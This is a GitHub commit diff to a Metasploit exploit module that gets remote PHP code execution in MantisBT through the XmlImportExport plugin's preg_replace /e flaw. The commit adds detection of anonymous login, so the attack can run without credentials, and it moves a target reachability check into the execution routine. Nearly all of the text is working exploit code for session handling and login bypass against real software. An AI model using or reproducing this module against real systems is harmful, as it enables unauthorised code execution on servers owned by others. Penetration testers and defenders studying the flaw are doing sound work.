Skip to content

Commit 39e3373

Browse files
committed
support for anonymous login
1 parent bf0bdd0 commit 39e3373

File tree

1 file changed

+42
-29
lines changed

1 file changed

+42
-29
lines changed

modules/exploits/multi/http/mantisbt_php_exec.rb

Lines changed: 42 additions & 29 deletions
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@ def initialize(info = {})
1818
The vulnerable code exists on plugins/XmlImportExport/ImportXml.php, which receives user input through the "description" field and the "issuelink" attribute of an uploaded XML file and passes to preg_replace() function with the /e modifier.
1919
This allows a remote authenticated attacker to execute arbitrary PHP code on the remote machine.
2020
This version also suffers from another issue. The import page is not checking the correct user level
21-
of the user, so it's possible to exploit this issue with any user.
21+
of the user, so it's possible to exploit this issue with any user including the anonymous one if enabled.
2222
},
2323
'License' => MSF_LICENSE,
2424
'Author' =>
@@ -59,38 +59,44 @@ def check
5959
end
6060

6161
def do_login()
62-
print_status('Checking access to MantisBT...')
62+
# check for anonymous login
6363
res = send_request_cgi({
6464
'method' => 'GET',
65-
'uri' => normalize_uri(target_uri.path, 'login_page.php'),
66-
'vars_get' => {
67-
'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import')
68-
}
69-
})
70-
71-
fail_with(Failure::NoAccess, 'Error accessing MantisBT') unless res && res.code == 200
72-
73-
session_cookie = res.get_cookies
74-
75-
print_status('Logging in...')
76-
res = send_request_cgi({
77-
'method' => 'POST',
78-
'uri' => normalize_uri(target_uri.path, 'login.php'),
79-
'cookie' => session_cookie,
80-
'vars_post' => {
81-
'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import'),
82-
'username' => datastore['username'],
83-
'password' => datastore['password'],
84-
'secure_session' => 'on'
85-
}
65+
'uri' => normalize_uri(target_uri.path, 'login_anon.php')
8666
})
67+
# if the redirect contains a username (non empty), anonymous access is enabled
68+
if res && res.redirect? && res.redirection && res.redirection.query =~ /username=[^&]+/
69+
print_status('Anonymous access enabled, no need to log in')
70+
session_cookie = res.get_cookies
71+
else
72+
res = send_request_cgi({
73+
'method' => 'GET',
74+
'uri' => normalize_uri(target_uri.path, 'login_page.php'),
75+
'vars_get' => {
76+
'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import')
77+
}
78+
})
79+
session_cookie = res.get_cookies
80+
print_status('Logging in...')
81+
res = send_request_cgi({
82+
'method' => 'POST',
83+
'uri' => normalize_uri(target_uri.path, 'login.php'),
84+
'cookie' => session_cookie,
85+
'vars_post' => {
86+
'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import'),
87+
'username' => datastore['username'],
88+
'password' => datastore['password'],
89+
'secure_session' => 'on'
90+
}
91+
})
92+
fail_with(Failure::NoAccess, 'Login failed') unless res && res.code == 302
93+
94+
fail_with(Failure::NoAccess, 'Wrong credentials') unless res.redirection.to_s !~ /login_page.php/
95+
96+
session_cookie = "#{session_cookie} #{res.get_cookies}"
97+
end
8798

88-
89-
fail_with(Failure::NoAccess, 'Login failed') unless res && res.code == 302
90-
91-
fail_with(Failure::NoAccess, 'Wrong credentials') unless res.redirection.to_s !~ /login_page.php/
92-
93-
"#{session_cookie} #{res.get_cookies}"
99+
session_cookie
94100
end
95101

96102
def upload_xml(payload_b64, rand_text, cookies, is_check)
@@ -219,6 +225,13 @@ def upload_xml(payload_b64, rand_text, cookies, is_check)
219225
end
220226

221227
def exec_php(php_code, is_check = false)
228+
print_status('Checking access to MantisBT...')
229+
res = send_request_cgi({
230+
'method' => 'GET',
231+
'uri' => normalize_uri(target_uri.path)
232+
})
233+
234+
fail_with(Failure::NoAccess, 'Error accessing MantisBT') unless res && (res.code == 200 || res.redirection)
222235

223236
# remove comments, line breaks and spaces of php_code
224237
payload_clean = php_code.gsub(/(\s+)|(#.*)/, '')

0 commit comments

Comments
 (0)